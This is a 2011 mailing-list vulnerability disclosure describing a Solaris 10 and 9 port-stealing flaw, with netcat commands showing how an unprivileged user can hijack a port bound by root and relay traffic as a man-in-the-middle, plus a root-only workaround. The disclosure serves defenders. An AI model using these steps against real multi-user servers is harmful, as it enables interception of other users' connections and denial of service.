Solaris 10 Port Stealing Vulnerability
- From: "Chris O'Regan" <chris@xxxxxxxxxxxxxxxxx>
- Date: Mon, 28 Mar 2011 15:06:49 -0400
I reported this to Oracle, but I have been told that this is part of the
BSD standard and a desire feature (!).
In a nutshell, as an ordinary user, I can bind to a port using a
specific address even if another process is already bound to it with a
wildcard address. This makes it very easy for an unprivileged user with
login access to the server to set up a denial of service or
man-in-the-middle attack. Of course, this applies to ports greater than
Steps to reproduce:
As root, start daemon on *:55555:
[root@foo:/root]# netcat -l -p 55555
As an ordinary user, attempt to start another daemon listening to
the same port:
[user@foo:/home/user]$ netcat -l -p 55555
Error: Couldn't setup listening socket (err=-3)
Good, now let's try a specific interface:
[user@foo:/home/user]$ netcat -l -p 55555 -s foo
Now establish a connection to port 55555:
[user@bar:/home/user]$ netcat foo 55555
I confirm that it is the second netcat (the unprivileged one
listening on foo:55555) receiving the data. If I stop it and
reconnect, the netcat running as root answers.
To illustrate the seriousness, here I create a tunnel from
foo:55555 to localhost:55555, inserting myself between the
client and the real daemon!
[user@foo:/home/user]$ netcat -L localhost:55555 -p 55555 -s foo -v
Connection from A.B.C.D:41378
localhost [127.0.0.1] 55555 open
This vulnerability also exists in Solaris 9.
The work-around, I was told, was to make the port privileged (only root
can bind to the port):
[root@foo:/root]# ndd -set /dev/tcp tcp_extra_priv_ports_add 55555
This is not a practical solution, nor does it protect ordinary users who
may run software that starts a daemon listing on a wildcard address.
A better solution, in my opinion, would be to disable this feature by
default and provide a system variable to enable the behaviour only when
it is desired.
Chris O'Regan <chris@xxxxxxxxxxxxxxxxx>
Senior Unix Systems Administrator, Academic IT Services
Faculty of Engineering and Computer Science
Concordia University, Montreal, Canada
- Prev by Date: XSS Vulnerability in Tracks 1.7.2
- Next by Date: HTB22903: XSS in Spitfire CMS
- Previous by thread: XSS Vulnerability in Tracks 1.7.2
- Next by thread: RE: Solaris 10 Port Stealing Vulnerability